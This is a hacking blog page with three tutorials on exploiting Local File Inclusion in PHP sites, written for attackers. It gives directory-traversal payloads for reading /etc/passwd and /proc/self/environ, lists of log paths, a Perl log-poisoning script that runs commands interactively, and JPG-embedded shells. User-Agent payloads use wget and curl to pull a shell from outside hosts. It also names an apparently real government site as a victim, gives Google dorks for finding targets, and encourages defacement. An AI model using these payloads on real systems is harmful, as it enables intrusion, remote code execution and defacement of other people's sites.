Search This Blog

Showing posts with label LFI. Show all posts
Showing posts with label LFI. Show all posts

Saturday, July 7, 2012

LFI Web Hacking Tutorial

This tutorial will guide you into the process of exploiting a website through the LFI (Local File Inclusion). 
First lets take a look at a php code that is vulnerable to LFI: $page = $_GET[page]; include($page); ?> Now, 
this is a piece of code that should NEVER be used, 
because the $page isn’t sanitized and [...]
This tutorial will guide you into the process of exploiting a website through the LFI (Local File Inclusion).
First lets take a look at a php code that is vulnerable to LFI:
$page = $_GET[page];
include($page);
?>
Now, this is a piece of code that should NEVER be used, because the $page isn’t sanitized and is passed directly to the webpage,

but unfortunately (or not ) is very common to be find in the ‘www’ world.
Ok, now that we know why is it vulnerable let’s start to use this in our advantage. 
First let’s take a look how this give us the ability to “browse” through the web server. 
Let’s imagine theres a file called test.php inside the test directory, 
if you type victim.com/test/test.php will retrieve that file correct? Ok, 
but if the php code that we examined was in the index.php we could also retrieve that file through victim.com/index.php?page=test/test.php ,
see what happened there? Now, if the index.php was in victim.com/test/index.php and the test.php in victim.com/test.php you will have to type victim.com/test/index.php?page=../test.php . The ../ is called directory
transversal using that will allow you to go up in the directories.Now that we can go up and down through the server let’s use it to access files that we are not supposed to. If this was hosted in a Unix server we can then possibly view the password file of the server, to do this you will have to type something like this (the nr of ../ may vary depending of where the vulnerable file is):

victim.com/index.php?page=../../../../../../../etc/ passwd
If you don’t know what to do with the content of etc/passwd then continue reading! The etc/passwd is where the users/passwords are stored, a non shadowed passwd file will look like this:
username: passwd:UID:GID:full_name:directory:shell
For example:
username:kbeMVnZM0oL7I:503:100:FullName:/home/user name:/bin/sh
All you need to do then is grab the username and decode the password. 
If the passwd file is shadowed then you’ll see something like this:
username:x:503:100:FullName:/home/username:/bin/sh
As you can see the password is now a x and the encoded password is now in /etc/shadow (you will probably not have access to etc/shadow because is only readable/writeable by root and etc/passwd has to be readable by many
processes, thats why you have access to it).
You can also sometimes see something like this:
username:!:503:100:FullName:/home/username:/bin/sh
The ! indicates that the encoded password is stored in the etc/security/passwd file.
Heres a couple of places that may be interesting to “visit”:
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
You will probably need to google for it as this is not the right tutorial to it.
Just one more quick thing, its also common to find a vulnerable code like:
$page = $_GET["page"];
include(“$page.php”);
?>
In this case as you can see it will add a .php in the end of whatever you include! So if you type in your browser:
victim.com/index.php?file=../../../../../../../../ etc/passwd
it will retrieve:
victim.com/index.php?file=../../../../../../../../ etc/passwd.php that file don’t exist, and you will see an error message, so you need to apply the null byte ():
victim.com/index.php?file=../../../../../../../../ etc/passwd
With the null byte the server will ignore everything that comes after .
There are other ways to use the LFI exploit, so continue reading, the REALLY fun is about to begin!
We will now gonna try to run commands on the server, we will do this by injecting php code in the httpd logs and then access them by the LFI! To do this first find out where the logs are stored, here is some locations that may be useful to you:
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
Ok, now that you know where the logs are take a look at them and see what they store, 
at this example we will use a log that stores the “not found files” and the php code . 
You will then type at your browser victim.com/ and the php code will be logged because it “dosen’t exist”.
This possibly won’t work because if you go look into the log you will probably see the php code like this:
%3C?%20passthru($_GET[cmd])%20?>
because your browser will url encode the whole thing! So you’ll need to use something else, 
if you don’t have a script of your own you can use this perl script i’ve wrote:
#!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$site=”victim.com”;
$path=”/folder/”;
$code=”";
$log = “../../../../../../../etc/httpd/logs/error_log”;
print “Trying to inject the code”;
$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80?) or die ”
Connection Failed.
“;
print $socket “GET “.$path.$code.” HTTP/1.1
“;
print $socket “User-Agent: “.$code.”
“;
print $socket “Host: “.$site.”
“;
print $socket “Connection: close
“;
close($socket);
print ”
Code $code sucssefully injected in $log
“;
print ”
Type command to run or exit to end: “;
$cmd = ;
while($cmd !~ “exit”) {
$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80?) or die ”
Connection Failed.
“;
print $socket “GET “.$path.”index.php=”.$log.”&cmd=$cmd HTTP/1.1
“;
print $socket “Host: “.$site.”
“;
print $socket “Accept: */*
“;
print $socket “Connection: close
“;
while ($show = <$socket>)
{
print $show;
}
print “Type command to run or exit to end: “;
$cmd = ;
}
Copy/paste that, save it as whatever.pl and change what is in bold accordingly to your victim site. 
If the vulnerable code is in victim.com/main/test.php you should change the /folder/ to /main/ , index.php= to test.php= and the ../../../../../../../etc/httpd/logs/error_log to where the log is at!
That script will inject the code and then will ask you for a command to run on the server! You know what to do now!
Last but not least we will take a look on how to use the avatar/image upload funtion found in a lot of web aplications.
You possibly have seen this in the “Local JPG Shell injection video” at milw0rm, but the best part here that was not mentioned is that the web aplication DOES N’T need to be installed on your victim website!
This is a quick explanation, for a better understanding you can view the video at
link:
http://www.milw0rm.com/video/watch.php?id=57
You need to “insert” the php code you want to execute inside the image, to do this you’ll need to use your favorite hex editor or you can use the edjpgcom program (all you need to do is right click on the image, open with…, 
then select the edjpgcom program and then just type the code). Ok now that you have your shell in the image all you need to do is upload it! If your victim.com has a forum or something else that allows you to upload great, 
if not check if its in a shared hosting, if so do a reverse lookup on it!
Now that you have a list of potential sites that may have a forum or something else that allows you to upload your image all you need to do is take some time to browse thru them until you find one!
After you found one and have uploaded your image here is tricky part, you’ll need to “create” an error on it (in order to find the server path to it)! Try per example create an mysql error and you will get something like this:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/sitefolder/public_html/includes/view.php on line 37
If you can’t force an error go back to the etc/passwd file:
username:kbeMVnZM0oL7I:503:100:FullName:/home/username:/bin/sh
As you can see the username is also the directory name, most of the times the name is similar to the domain name, but if not the case you’ll have to try them until you find the one you’re looking for!
Go to your avatar image right click on it and then properties (write down the path to it), you’ll now all set up.
In your browser type this (again, the nr of ../ may vary):
victim.com/index.php=../../../../../../../../../ho me/the_other_site_dir/public_html/path_to_your_avatar/avatar.jpg
In order “words” should look like this (using fictitious “names”):
victim.com/index.php=../../../../../../../../../ho me/arcfull/public_html/forum/uploads/avatar.jpg
After you type this you will see the result of the code inserted in the image!

Add To Google BookmarksStumble ThisFav This With TechnoratiAdd To Del.icio.usDigg ThisAdd To RedditTwit ThisAdd To FacebookAdd To Yahoo

Saturday, June 2, 2012

LFI ( Local File Inclusion ) Website hacking Tutorial




images (284×177)
Lets Starts 

Few Things You Need to Start 
1) Site vulnerable to LFI ( http://www.bislig.gov.ph )
2) Remote shell ( http://www.yourhosting/urshell.txt
3) User-Agent switcher ( https://addons.mozilla.org/en-US/firefox...-switcher/
4) Mozilla Firefox Browser 



Lfimap-icon.png (74×74)First of all see if your site is vulnerable to LFI (I'm not going to explain how to find it or exploit it)
Try to open etc/passwd
Example: 
http://www.bislig.gov.ph/content1.php?page=5&directLinks=../../../../../../../../../../../../../../etc/passwd

Ok fine...We can open etc/passwd
Now type proc/self/environ

Example:
http://www.bislig.gov.ph/content1.php?page=5&directLinks=../../../../../../../../../../../../../../proc/self/environ



Now download and install User-Agent switcher.
Go to Tools > Default User-Agent > Edit User Agents
You will get this window.
Now make new user-agentGo to New > New User-Agent
You will get something like this:


<?php phpinfo();?>
Now leave everything as it is exept description and user-agent.
In description enter name of it (Mine is phpinfo)
In User-Agent paste this in there.
Select your User-Agent in Tools > Default User Agent > PHP Info (Or whatever you User Agent is called)

Go to your site and refresh it.
You should get something like this in your site.


Now search for "disable_functions" (Ctrl+F Search function)
Mine is
disable_functions     | no value    | no value
That is good.We can spawn our shell now!
Now go back and edit your User-Agent.
Change "User-Agent" to:
<?exec('wget http://www.sh3ll.org/egy.txt -O shell.php');?>

(What this function do?. It downloads shell in .txt format and renames it as shell.php)

Save it and refresh your site.

Go to http://www.LFISITE.com/shell.php (Mine is http://www.bislig.gov.ph/shell.php )

Voila,we have our shell up.
Enjoy.
Demo websites :)

Add To Google BookmarksStumble ThisFav This With TechnoratiAdd To Del.icio.usDigg ThisAdd To RedditTwit ThisAdd To FacebookAdd To Yahoo

LFI and Shell Upload with Tamper Data


Hello Friends, today I'm Publishing a tutorial on what is LFI , and how to Upload Shell with Tamper Data in LFI and vulnrable website

LFI means Local File Inclusion, its gives you access to read files on a website/server via your  browser.






LFI  vulnerable website URL looks  like this:
Code:
www.website.com/index.php?page=/etc/passwd


Here's what the code looks like that makes it vulnerable.


<?php
   $file = $_GET['file'];
   if(isset($file))
   {
  include("pages/$file");
   }
   else
   {
  include("index.php");
   }
   ?>
Few Things You Need for this Method


1. FireFox [download]
2. Tamper Data [download]
3. Vulnerable Sites [Get it here]



or use these dorks for finding vulnrable websites
inurl:index.php?homepage=
inurl:index.php?page=
inurl:index.php?index2=

Now i'm showing  how to exploit LFI and upload your shell via /proc/self/environ using Tamper data


So after selecting a vulnrable website, check /etc/passwd.
Your page should come up with something that looks like this.



 image_2317891.original.jpg (620×511)
 Full size Image : click here
Great !!, now you are sure  that website is vulnerable.
Now check for /proc/self/environ
So change your path to /proc/self/environ


Your page will look  like this if the file exists,
Note - not all websites have it.
image_2317892.original.jpg (620×383)


Full size image : Click here

i'm interested in,  HTTP_USER_AGENT. now i'm going to change our user agent to try and get data from the site by injecting code where our browsers user agent should be.


To do this, i am going to use tamperdata. Once you have it installed, go to your options, and go to TamperData.

 image_2317897.original.jpg (264×306)


Now you will got a  window looks like this.
image_2317896.original.jpg (478×620) 



your page Must still be /proc/self/environ
Click Start Tamper, and refresh your page.


 i'll try some code injection.
After start tampering, you should see a window  looks  like this


image_2317893.original.jpg (620×260)
Full size image : Click Here



In the User-Agent field, type this 


<?php phpinfo();?>


Now vulnrable website is down loading, 
you will see something like this if you did it correctly
image_2317894.original.jpg (620×453)
Full size Image : click here

Now we can execute code, so let's upload upload your shell 


Open TamperData again, click start tamper, and refresh  website. and This time in the User-Agent enter this


<?exec('wget http://www.site.com/shell.txt -O shell.php');?>


It will look like this
image_2317898.original.jpg (620×262)
Full size image : Click here

it downloads  text file, and renames it as a php file 
You can upload your shell as a text file using free webhosting...
I already shelled a website, so I am going to use that website as file hosting


when you're done with that, you can access your shell directly by going to http://site/shell.php


If you getting an error, try using the same method as when you got your 
http://www.site.com/index.php?page=/etc/passwd
upload your shell by using the same method.
http://www.site.com/index.php?page=shell.php


If it loads fine the second time, you can upload a your deface using shell... checkout best deface pages here
When you are done, you have a  shell, like this <3
image_2317895.original.jpg (620×334)
Full size Image : Click Here

Alternate Method :
Some websites having extra precaution to prevent attacks like these.
so use this alternate method.


Change your user agent to:


<? passthru($_GET['cmd']); ?>


Now load website as
/proc/self/environ?cmd=curl http://www.site.com/shell.txt -o shell.php
 your url should look like
http://www.vulnerablesite.com/index.php?page=/proc/self/environ?cmd=curl http://www.yoursite.com/shell.txt -oshell.php


Now hopefully your shell uploaded.


Null Bytes


Adding a , or a nullbyte sometimes filters the site, and you can get around the firewalls.
http://www.site.com/index.php?page=/etc/passwd

Add To Google BookmarksStumble ThisFav This With TechnoratiAdd To Del.icio.usDigg ThisAdd To RedditTwit ThisAdd To FacebookAdd To Yahoo